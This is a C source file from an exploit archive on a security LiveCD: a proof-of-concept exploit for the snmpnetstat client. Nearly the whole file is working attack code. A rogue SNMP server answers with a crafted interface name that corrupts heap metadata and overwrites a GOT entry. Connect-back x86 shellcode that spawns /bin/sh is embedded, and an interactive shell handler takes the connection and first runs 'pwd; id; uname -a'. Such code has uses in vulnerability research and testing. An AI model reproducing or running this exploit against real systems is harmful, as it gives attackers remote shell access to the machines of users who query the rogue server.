home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / snmp / snmpx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  20KB  |  859 lines

  1.  
  2. /*
  3.  * Proof of concept xploit for snmpnetstat  
  4.  *
  5.  *  This causes snmpnetstat to overwrite the GOT entry
  6.  * of endprotoent with the address of a connect-back
  7.  * shellcode. The shellcode has some size limitations.
  8.  *
  9.  *  USE THIS AT YOUR OWN RISK
  10.  *
  11.  *  Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com
  12.  *  http://www.axiomasistemas.com
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <stdarg.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <sys/poll.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23. #include <errno.h>
  24. #include <string.h>
  25. #include <unistd.h>
  26. #include <netdb.h>
  27. #include <getopt.h>
  28.  
  29. /*
  30.  * Constants
  31.  */
  32. #define ASN_SEQUENCE      0x10
  33. #define ASN_CONSTRUCTOR   0x20
  34. #define ASN_INTEGER       0x02
  35. #define ASN_OCTET_STRING  0x04
  36. #define ASN_CONTEXT       0x80
  37. #define ASN_OBJECTID      0x06
  38.  
  39. #define SNMP_GETREQUEST     (ASN_CONSTRUCTOR | ASN_CONTEXT)
  40. #define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
  41. #define SNMP_GETRESPONSE    (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)
  42.  
  43. enum exploit_states 
  44.     STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
  45.     STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
  46. };
  47.  
  48. /*
  49.  * Globals (I know globals sucks, but...)
  50.  */
  51. static int state;
  52. static int session_id;
  53. static struct sockaddr_in client;
  54. static unsigned short bindport = 3234;
  55. static int use_bind_addr = 0;
  56. static unsigned long bind_addr;
  57.  
  58. /*
  59.  * 101 bytes connect-back shellcode 
  60.         xorl %eax, %eax
  61.         pushl %eax            # push IPPROTO_IP
  62.         inc %eax
  63.         pushl %eax            # push SOCK_STREAM
  64.         inc %eax
  65.         jmp skip
  66.         nop
  67.         nop
  68.         nop
  69.         nop
  70.         nop
  71.         nop
  72.         nop
  73.         nop
  74. skip:
  75.         pushl %eax           # push AF_INET
  76.         movl %esp, %ecx
  77.         xorl %ebx, %ebx
  78.         movb $0x1, %bl       # SYS_SOCKET
  79.         movb $102, %al       # __NR_socketcall
  80.         int $0x80
  81.         movl %eax, %edx      # save fd in eax and edx
  82.         movb $0x3, %bl       # SYS_CONNECT
  83.         movl %eax, (%ebp)    # put fd as first argument
  84.         pushl $0x0100007f    # fill struct sockaddr_in
  85.         pushl $0x01010002
  86.         movl %esp, 0x4(%ebp)
  87.         movb $16, %al        # sizeof struct sockaddr_in
  88.         movl %eax, 0x8(%ebp)
  89.         movl %ebp, %ecx
  90.         movb $102, %al       # __NR_socketcall
  91.         int $0x80
  92.         decb %bl # %ebx contains '2'
  93.         movzbl %dl, %ecx
  94. loop1:
  95.         movb $6, %al         # __NR_close
  96.         int $0x80
  97.         xchgb %cl, %bl
  98.         movb $63, %al        # __NR_dup2
  99.         int $0x80
  100.         xchgb %cl, %bl
  101.         decb %bl
  102.         jge loop1
  103.         pushl $0x0068732f
  104.         pushl $0x6e69622f
  105.         movl %esp, %ebx
  106.         xorl %edx, %edx
  107.         pushl %edx
  108.         pushl %ebx
  109.         movl %esp, %ecx
  110.         movb $0xb, %al       # __NR_execve
  111.         int $0x80
  112.  */
  113. static u_char shellcode[] = {
  114.         0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
  115.         0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
  116.         0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
  117.         0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
  118.         0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
  119.         0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
  120.         0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
  121.         0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
  122.         0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
  123.         0xcd, 0x80
  124. };
  125.  
  126. static void __attribute__ ((noreturn))
  127. fatal (u_char *fmt, ...)
  128. {
  129.     va_list ap;
  130.  
  131.     va_start (ap, fmt);
  132.     vfprintf (stderr, fmt, ap);
  133.     va_end (ap);
  134.  
  135.     exit (EXIT_FAILURE);
  136. }
  137.  
  138. /*
  139.  * ASN.1 code
  140.  */
  141. static u_char *
  142. asn_append_len (u_char *pkt, int len)
  143. {
  144.     if (len <= 0x7f)
  145.     {
  146.         /* short len */
  147.         *pkt++ = (u_char) len;
  148.         return (pkt);
  149.     }
  150.  
  151.     if (len <= 0xff)
  152.     {
  153.         *pkt++ = 0x81;
  154.         *pkt++ = (u_char) (len);
  155.         return (pkt);
  156.     }
  157.  
  158.     *pkt++ = 0x82;
  159.     *pkt++ = (u_char) ((len & 0xff00) >> 8);
  160.     *pkt++ = (u_char) (len & 0xff);
  161.  
  162.     return (pkt);
  163. }
  164.  
  165. static u_char *
  166. asn_append_sequence (u_char *pkt, int len)
  167. {
  168.     *pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
  169.     pkt = asn_append_len (pkt, len);
  170.     return (pkt);
  171. }
  172.  
  173. static u_char *
  174. asn_append_objectid (u_char *pkt, u_char *str, int nlen)
  175. {
  176.     int i = 0;
  177.     
  178.     *pkt++ = ASN_OBJECTID;
  179.     pkt = asn_append_len (pkt, nlen);
  180.     
  181.     while (nlen--)
  182.         *pkt++ = str[i++];
  183.  
  184.     return (pkt);
  185. }
  186.  
  187. static u_char *
  188. asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
  189. {
  190.     int i = 0;
  191.     
  192.     *pkt++ = ASN_OCTET_STRING;
  193.     pkt = asn_append_len (pkt, nlen);
  194.     
  195.     while (nlen--)
  196.         *pkt++ = str[i++];
  197.  
  198.     return (pkt);
  199. }
  200.  
  201. static u_char *
  202. asn_append_integer (u_char *pkt, unsigned long n, int nlen)
  203. {
  204.     if (nlen != 4 && nlen != 2 && nlen != 1)
  205.         fatal ("error: bad nlen in asn_append_integer(): %i\n",
  206.                 nlen);
  207.  
  208.     *pkt++ = ASN_INTEGER;
  209.     *pkt++ = (u_char) (nlen & 0xff);
  210.  
  211.     switch (nlen)
  212.     {
  213.     case 1:
  214.         *pkt++ = (u_char) (n & 0xff);
  215.         break;
  216.  
  217.     case 2:
  218.         *pkt++ = (u_char) ((n & 0xff00) >> 8);
  219.         *pkt++ = (u_char) (n & 0xff);
  220.         break;
  221.         
  222.     case 4:
  223.         *pkt++ = (u_char) ((n & 0xff000000) >> 24);
  224.         *pkt++ = (u_char) ((n & 0xff0000) >> 16);
  225.         *pkt++ = (u_char) ((n & 0xff00) >> 8);
  226.         *pkt++ = (u_char) (n & 0xff);
  227.         break;
  228.     }
  229.  
  230.     return (pkt);
  231. }
  232.  
  233. static u_char *
  234. asn_get_octet_string (u_char *pkt, u_char *dst)
  235. {
  236.     int len, i = 0;
  237.  
  238.     if (*pkt++ != ASN_OCTET_STRING)
  239.         fatal ("error: error while talking to client\n");
  240.  
  241.     len = *pkt++;
  242.  
  243.     while (len--)
  244.         dst[i++] = *pkt++;
  245.  
  246.     return (pkt);
  247. }
  248.  
  249. static u_char *
  250. asn_get_objectid (u_char *pkt, u_char *dst)
  251. {
  252.     int len, i = 0;
  253.  
  254.     if (*pkt++ != ASN_OBJECTID)
  255.         fatal ("error: error while talking to client\n");
  256.  
  257.     len = *pkt++;
  258.  
  259.     while (len--)
  260.         dst[i++] = *pkt++;
  261.  
  262.     return (pkt);
  263. }
  264.  
  265. static u_char *
  266. asn_get_integer (u_char *pkt, int *pdst)
  267. {
  268.     int len, nbits, dst;
  269.     
  270.     if (*pkt++ != ASN_INTEGER)
  271.         fatal ("error: error while talking to client\n");
  272.  
  273.     len = *pkt++;
  274.     if (len != 1 && len != 2 && len != 4)
  275.         fatal ("error: incorrent integer len received from client\n");
  276.         
  277.     switch (len)
  278.     {
  279.     case 4:
  280.         nbits = 24; break;
  281.     case 2:
  282.         nbits = 8; break;
  283.     case 1:
  284.         nbits = 0; break;
  285.     }
  286.  
  287.     dst = 0;
  288.     while (len--)
  289.     {
  290.         dst |= ((*pkt++) << nbits);
  291.         nbits -= 8;
  292.     }
  293.  
  294.     *pdst = dst;
  295.  
  296.     return (pkt);
  297. }
  298.  
  299. static unsigned long
  300. get_source_addr (struct sockaddr_in *s_in)
  301. {
  302.     int sd, slen;
  303.     struct sockaddr_in me;
  304.     
  305.     if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  306.         fatal ("socket(): %s\n", strerror (errno));
  307.     
  308.     if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
  309.         fatal ("connect(): %s\n", strerror (errno));
  310.  
  311.     slen = sizeof (me);
  312.     if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
  313.         fatal ("getsockname(): %s\n", strerror (errno));
  314.  
  315.     close (sd);
  316.     
  317.     return ((unsigned long) me.sin_addr.s_addr);
  318. }
  319.  
  320. typedef struct
  321. {
  322.     unsigned long psize;
  323.     unsigned long size; /* 0x1 -> PREV_INUSE */
  324.     unsigned long fd;
  325.     unsigned long bk;
  326. } chunk_t;
  327.  
  328. #define PREV_INUSE 0x1
  329.  
  330. static u_char *
  331. make_evil_str (int *plen)
  332. {
  333.     int len;
  334.     static u_char buf[BUFSIZ];
  335.     chunk_t *c;
  336.     unsigned long *ip;    
  337.     unsigned short *port;
  338.  
  339.     memset (buf, 0x90, BUFSIZ);
  340.  
  341.     c = (chunk_t *) (buf - 4);
  342.  
  343.     /* leave psize of first chunk unused */
  344.     c->size = 0x16UL;
  345.     c->fd = 0x807dbe8;
  346.     c->bk = 0x8050df0 - 8;
  347.     
  348.     c++;
  349.     c->size = 0UL; /* zero PREV_INUSE bit */
  350.  
  351.     len = 12 + 16 + 14 + sizeof (shellcode);
  352.     memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));
  353.  
  354.     ip = (unsigned long *) (buf + 16 + 4 + 35);
  355.     *ip = (use_bind_addr ? bind_addr : get_source_addr (&client));
  356.  
  357.     port = (unsigned short *) (buf + 16 + 4 + 42);
  358.     *port = htons (bindport);
  359.  
  360.     *plen = len;
  361.     return (buf);
  362. }
  363.  
  364. /*
  365.  * SNMP code
  366.  */
  367. static void
  368. snmp_waiting_getnext2 (int sd, u_char *buf)
  369. {
  370.     u_char *ptr = buf;
  371.     int version, foo;
  372.     u_char comm[BUFSIZ], resp[BUFSIZ];
  373.     u_char oids[11][BUFSIZ];
  374.     int i, len, evil_str_len;
  375.     u_char *evil_str = NULL;
  376.  
  377.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  378.                 fatal ("error: protocol error\n");
  379.  
  380.         ptr += 2;
  381.  
  382.         ptr = asn_get_integer (ptr, &version);
  383.         if (version != 0)
  384.                 fatal ("error: client uses a version different from 0\n");
  385.  
  386.         memset (comm, 0, sizeof (comm));
  387.         ptr = asn_get_octet_string (ptr, comm);
  388.  
  389.         if (*ptr++ != SNMP_GETNEXTREQUEST)
  390.                 fatal ("error: protocol error\n");
  391.  
  392.         ptr += 2; /* skip len */
  393.  
  394.         ptr = asn_get_integer (ptr, &session_id);
  395.  
  396.         ptr = asn_get_integer (ptr, &foo);
  397.         ptr = asn_get_integer (ptr, &foo);
  398.  
  399.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  400.                 fatal ("error: protocol error\n");
  401.         ptr += 2;
  402.  
  403.     for (i = 0; i < 11; i++)
  404.     {
  405.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  406.             fatal ("error: protocol error\n");
  407.         ptr++;
  408.         ptr = asn_get_objectid (ptr, oids[i]);
  409.         ptr += 2;
  410.     }
  411.  
  412.         memset (resp, 0, sizeof (resp));
  413.         ptr = resp;
  414.     
  415.     evil_str = make_evil_str (&evil_str_len);
  416.  
  417.     /* calculate len of the response */
  418.     len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
  419.     len += (11 * 14) + 40 + evil_str_len + 2;
  420.  
  421.         ptr = asn_append_sequence (ptr, len);
  422.         ptr = asn_append_integer (ptr, 0, 1);
  423.         ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  424.      
  425.     *ptr++ = SNMP_GETRESPONSE;
  426.     /* calculate len of the getresponse PDU */
  427.     len -= (3 + (2 + strlen (comm)) + 4);
  428.     ptr = asn_append_len (ptr, len);
  429.  
  430.         ptr = asn_append_integer (ptr, session_id, 4);
  431.         ptr = asn_append_integer (ptr, 0, 1);
  432.         ptr = asn_append_integer (ptr, 0, 1);
  433.  
  434.     /* calculate len of data */
  435.     len -= (6 + 3 + 3 + 4);
  436.         ptr = asn_append_sequence (ptr, len);
  437.  
  438.     for (i = 0; i < 11; i++)
  439.     {
  440.         len = 12;
  441.  
  442.         oids[i][9]++;
  443.  
  444.         switch (oids[i][8])
  445.         {
  446.         case 1: /* ifindex */
  447.             len += 4;
  448.             ptr = asn_append_sequence (ptr, len);
  449.             ptr = asn_append_objectid (ptr, oids[i], 10);
  450.             ptr = asn_append_integer (ptr, 2, 1);
  451.             break;
  452.  
  453.         case 2: /* ifname */
  454.             len += 3 + evil_str_len;
  455.             ptr = asn_append_sequence (ptr, len);
  456.             ptr = asn_append_objectid (ptr, oids[i], 10);
  457.             ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
  458.             break;
  459.  
  460.         case 4: /* ifmtu */
  461.         case 8: /* ifoperstatus */
  462.             len += 4;
  463.             ptr = asn_append_sequence (ptr, len);
  464.             ptr = asn_append_objectid (ptr, oids[i], 10);
  465.             ptr = asn_append_integer (ptr, 2, 2);
  466.             break;
  467.  
  468.         case 0xb:   /* INUCASTPKTS */
  469.         case 0xc:   /* INNUCASTPKTS */
  470.         case 0xe:   /* INERRORS */
  471.         case 0x11:  /* OUTUCASTPKTS */
  472.         case 0x12:  /* OUTNUCASTPKTS */
  473.         case 0x14:  /* OUTERRORS */
  474.             len += 4;
  475.             ptr = asn_append_sequence (ptr, len);
  476.             ptr = asn_append_objectid (ptr, oids[i], 10);
  477.             *ptr++ = 0x41;
  478.             *ptr++ = 2;
  479.             *ptr++ = 1;
  480.             *ptr++ = 1;
  481.             break;
  482.             
  483.         case 0x15:  /* OUTQLEN */
  484.             len += 3;
  485.             ptr = asn_append_sequence (ptr, len);
  486.             ptr = asn_append_objectid (ptr, oids[i], 10);
  487.             *ptr++ = 0x42;
  488.             *ptr++ = 1;
  489.             *ptr++ = 0;
  490.             break;
  491.         }
  492.     }
  493.  
  494.         len = (ptr - resp);
  495.     
  496.         if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  497.                 perror ("sendto()"), exit (EXIT_FAILURE);
  498.  
  499.         state = STATE_WAITING_CONNECT;
  500. }
  501.  
  502. static void
  503. snmp_waiting_getnext1 (int sd, u_char *buf)
  504. {
  505.     u_char *ptr = buf;
  506.     u_char len;
  507.     int version, foo;
  508.     u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
  509.     u_char resp[BUFSIZ];
  510.  
  511.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  512.         fatal ("error: protocol error\n");
  513.  
  514.     len = *ptr++;
  515.  
  516.     ptr = asn_get_integer (ptr, &version);
  517.     if (version != 0)
  518.         fatal ("error: client uses a version different from 0\n");
  519.  
  520.     memset (comm, 0, sizeof (comm));
  521.     ptr = asn_get_octet_string (ptr, comm);
  522.         
  523.     if (*ptr++ != SNMP_GETNEXTREQUEST)
  524.         fatal ("error: protocol error\n");
  525.  
  526.     ptr++; /* skip len */
  527.     
  528.     ptr = asn_get_integer (ptr, &session_id);
  529.  
  530.     ptr = asn_get_integer (ptr, &foo);
  531.     ptr = asn_get_integer (ptr, &foo);
  532.  
  533.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  534.         fatal ("error: protocol error\n");
  535.     ptr++;
  536.  
  537.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  538.         fatal ("error: protocol error\n");
  539.     ptr++;
  540.     ptr = asn_get_objectid (ptr, oid1);
  541.     if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
  542.         fatal ("error: protocol error\n");
  543.     ptr += 2;
  544.  
  545.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  546.         fatal ("error: protocol error\n");
  547.     ptr++;
  548.     ptr = asn_get_objectid (ptr, oid2);
  549.     if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
  550.         fatal ("error: protocol error\n");
  551.     ptr += 2;
  552.  
  553.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  554.         fatal ("error: protocol error\n");
  555.     ptr++;
  556.     ptr = asn_get_objectid (ptr, oid3);
  557.     if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
  558.         fatal ("error: protocol error\n");
  559.  
  560.     memset (resp, 0, sizeof (resp));
  561.     ptr = resp;
  562.  
  563.     ptr = asn_append_sequence (ptr, 0x54 + 9);
  564.     ptr = asn_append_integer (ptr, 0, 1);
  565.     ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  566.     *ptr++ = SNMP_GETRESPONSE;
  567.     *ptr++ = 0x47 + 9;
  568.     ptr = asn_append_integer (ptr, session_id, 4);
  569.     ptr = asn_append_integer (ptr, 0, 1);
  570.     ptr = asn_append_integer (ptr, 0, 1);
  571.     
  572.     ptr = asn_append_sequence (ptr, 0x39 + 9);
  573.     
  574.     ptr = asn_append_sequence (ptr, 0x11 + 1);
  575.     ptr = asn_append_objectid (ptr, oid1, 0x0D);
  576.     ptr = asn_append_integer (ptr, 1, 1);
  577.     
  578.     ptr = asn_append_sequence (ptr, 0x11 + 4);
  579.     ptr = asn_append_objectid (ptr, oid2, 0x0D);
  580.     ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
  581.     
  582.     ptr = asn_append_sequence (ptr, 0x11 + 4);
  583.     ptr = asn_append_objectid (ptr, oid3, 0x0D);
  584.     ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
  585.     
  586.     len = (ptr - resp);
  587.  
  588.     if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  589.         perror ("sendto()"), exit (EXIT_FAILURE);
  590.  
  591.     state = STATE_WAITING_GETNEXT2;
  592. }
  593.  
  594. static void
  595. snmp_listening (int sd, u_char *buf)
  596. {
  597.     u_char *ptr = buf;
  598.     u_char len;
  599.     int version, foo;
  600.     u_char comm[BUFSIZ], oid[BUFSIZ];
  601.     u_char resp[BUFSIZ];
  602.     
  603.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  604.         fatal ("error: protocol error\n");
  605.  
  606.     len = *ptr++;
  607.  
  608.     ptr = asn_get_integer (ptr, &version); 
  609.     if (version != 0)
  610.         fatal ("error: client uses a version different from 0\n");
  611.  
  612.     memset (comm, 0, sizeof (comm));
  613.     ptr = asn_get_octet_string (ptr, comm);
  614.         
  615.     if (*ptr++ != SNMP_GETREQUEST)
  616.         fatal ("error: protocol error\n");
  617.  
  618.     ptr++; /* skip len */
  619.  
  620.     ptr = asn_get_integer (ptr, &session_id);
  621.     ptr = asn_get_integer (ptr, &foo);
  622.     ptr = asn_get_integer (ptr, &foo);
  623.  
  624.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  625.         fatal ("error: protocol error\n");
  626.     ptr++;
  627.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  628.         fatal ("error: protocol error\n");
  629.     ptr++;
  630.  
  631.     ptr = asn_get_objectid (ptr, oid);
  632.     if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
  633.         fatal ("error: protocol error\n");
  634.     
  635.     memset (resp, 0, sizeof (resp));
  636.     ptr = resp;
  637.  
  638.     ptr = asn_append_sequence (ptr, 42);
  639.     ptr = asn_append_integer (ptr, 0, 1);
  640.     ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  641.     *ptr++ = SNMP_GETRESPONSE;
  642.     *ptr++ = 0x1D;
  643.     ptr = asn_append_integer (ptr, session_id, 4);
  644.     ptr = asn_append_integer (ptr, 0, 1);
  645.     ptr = asn_append_integer (ptr, 0, 1);
  646.     ptr = asn_append_sequence (ptr, 0x0F);
  647.     ptr = asn_append_sequence (ptr, 0x0D);
  648.     ptr = asn_append_objectid (ptr, oid, 8);
  649.     ptr = asn_append_integer (ptr, 1, 1);
  650.     
  651.     len = (ptr - resp);
  652.  
  653.     if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  654.         perror ("sendto()"), exit (EXIT_FAILURE);
  655.  
  656.     state = STATE_WAITING_GETNEXT1;
  657. }
  658.  
  659. static void
  660. bindshell (int sd)
  661. {
  662.     struct pollfd fds[2];
  663.     u_char *cmds = "pwd; id; uname -a\n";
  664.     u_char buf[BUFSIZ];
  665.     int n;
  666.     
  667.     write (sd, cmds, strlen (cmds));
  668.  
  669.     while (1)
  670.     {
  671.         memset (&fds, 0, sizeof (fds));
  672.  
  673.         fds[0].events = fds[1].events = POLLIN;
  674.         fds[0].fd = sd;
  675.         fds[1].fd = 0;
  676.  
  677.         if (poll (fds, 2, -1) < 0)
  678.             fatal ("poll(): %s\n", strerror (errno));
  679.  
  680.         if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
  681.             fatal ("connection closed\n");
  682.  
  683.         if (fds[0].revents & POLLIN)
  684.         {
  685.             n = read (fds[0].fd, buf, BUFSIZ);
  686.             if (n < 1)
  687.                 fatal ("connection closed\n");
  688.             write (1, buf, n);
  689.         }
  690.         
  691.         if (fds[1].revents & POLLIN)
  692.         {
  693.             n = read (fds[1].fd, buf, BUFSIZ);
  694.             write (sd, buf, n);
  695.         }
  696.     }
  697. }
  698.  
  699. static void
  700. snmp_waiting_connect (void)
  701. {
  702.     int sd, val, fsd, slen;
  703.     struct sockaddr_in s_in;
  704.     struct pollfd pfd;
  705.     
  706.     if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  707.         fatal ("socket(): %s\n", strerror (errno));
  708.  
  709.     memset (&s_in, 0, sizeof (s_in));
  710.     s_in.sin_family = AF_INET;
  711.     s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
  712.     s_in.sin_port = htons (bindport);
  713.  
  714.     if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
  715.         fatal ("bind(): %s\n", strerror (errno));
  716.  
  717.     listen (sd, 5);
  718.  
  719.     fprintf (stderr, "awaiting connection from client...\n");
  720.  
  721.     memset (&pfd, 0, sizeof (pfd));
  722.     pfd.fd = sd;
  723.     pfd.events = POLLIN;
  724.  
  725.     if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
  726.         fatal ("poll(): %s\n", strerror (errno));
  727.  
  728.     if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
  729.         fatal ("no connection from client in 20 seconds. aborting\n");
  730.  
  731.     memset (&s_in, 0, sizeof (s_in));
  732.     slen = sizeof (s_in);
  733.     fsd = accept (sd, &s_in, &slen);
  734.     close (sd);
  735.  
  736.     if (fsd < 0)
  737.         fatal ("accept(): %s\n", strerror (errno));
  738.  
  739.     fprintf (stderr, "received connection from %s:%i\n",
  740.             inet_ntoa (s_in.sin_addr),
  741.             htons (s_in.sin_port));
  742.  
  743.     bindshell (fsd);
  744. }
  745.  
  746. static void
  747. snmp_proccess (int sd, u_char *buf)
  748. {
  749.     switch (state)
  750.     {
  751.     case STATE_LISTENING:
  752.         snmp_listening (sd, buf);
  753.         break;
  754.  
  755.     case STATE_WAITING_GETNEXT1:
  756.         snmp_waiting_getnext1 (sd, buf);
  757.         break;
  758.  
  759.     case STATE_WAITING_GETNEXT2:
  760.         snmp_waiting_getnext2 (sd, buf);
  761.         break;
  762.     }
  763. }
  764.  
  765. static void __attribute__ ((noreturn))
  766. usage (u_char *p)
  767. {
  768.     fprintf (stderr, "Usage: %s [options]\n", p);
  769.     fprintf (stderr, "options:\n"
  770.             "-p <port>\tsnmp port to listen on\n"
  771.             "-P <port>\tconnect-back port\n"
  772.             "-a <ip>\t\tbind socket to this address\n"
  773.             "-h\t\tshow this\n\n");
  774.     exit (EXIT_FAILURE);
  775. }
  776.  
  777. int
  778. main (int argc, char *argv[])
  779. {
  780.     int sd, slen;
  781.     struct sockaddr_in s_in;
  782.     u_char buf[BUFSIZ];
  783.     unsigned short snmp_port = 161;
  784.     unsigned long snmp_ip = INADDR_ANY;
  785.     char opt;
  786.     
  787.     fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n");
  788.  
  789.     while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
  790.         switch (opt)
  791.         {
  792.         case 'p':
  793.             snmp_port = atoi (optarg);
  794.             break;
  795.  
  796.         case 'P':
  797.             bindport = atoi (optarg);
  798.             break;
  799.         
  800.         case 'a':
  801.             if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
  802.                 fatal ("%s is not a valid ip address\n", optarg);
  803.             bind_addr = snmp_ip;
  804.             use_bind_addr = 1;
  805.             break;
  806.         
  807.         case 'h': /* fallthrough */
  808.         default:
  809.             usage (argv[0]);
  810.         }
  811.  
  812.     fprintf (stderr, "use -h to show usage\n");
  813.  
  814.     if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  815.         perror ("socket()"), exit (EXIT_FAILURE);
  816.  
  817.     memset (&s_in, 0, sizeof (s_in));
  818.     s_in.sin_family = AF_INET;
  819.     s_in.sin_port = htons (snmp_port);
  820.     s_in.sin_addr.s_addr = snmp_ip;
  821.  
  822.     if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
  823.         perror ("bind()"), exit (EXIT_FAILURE);
  824.  
  825.     state = STATE_LISTENING;
  826.  
  827.     fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);
  828.  
  829.     while (1)
  830.     {
  831.         memset (buf, 0, sizeof (buf));
  832.         slen = sizeof (client);
  833.         if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
  834.             perror ("recvfrom()"), exit (EXIT_FAILURE);
  835.  
  836.         fprintf (stderr, "procesing snmp packet from %s:%i\n",
  837.                 inet_ntoa (client.sin_addr),
  838.                 htons (client.sin_port));
  839.  
  840.         snmp_proccess (sd, buf);
  841.  
  842.         if (state == STATE_QUITTING)
  843.             break;
  844.  
  845.         if (state == STATE_WAITING_CONNECT)
  846.         {
  847.             snmp_waiting_connect ();
  848.             break;
  849.         }
  850.     }
  851.  
  852.     close (sd);
  853.     
  854.     exit (EXIT_SUCCESS);
  855. }
  856.  
  857.  
  858.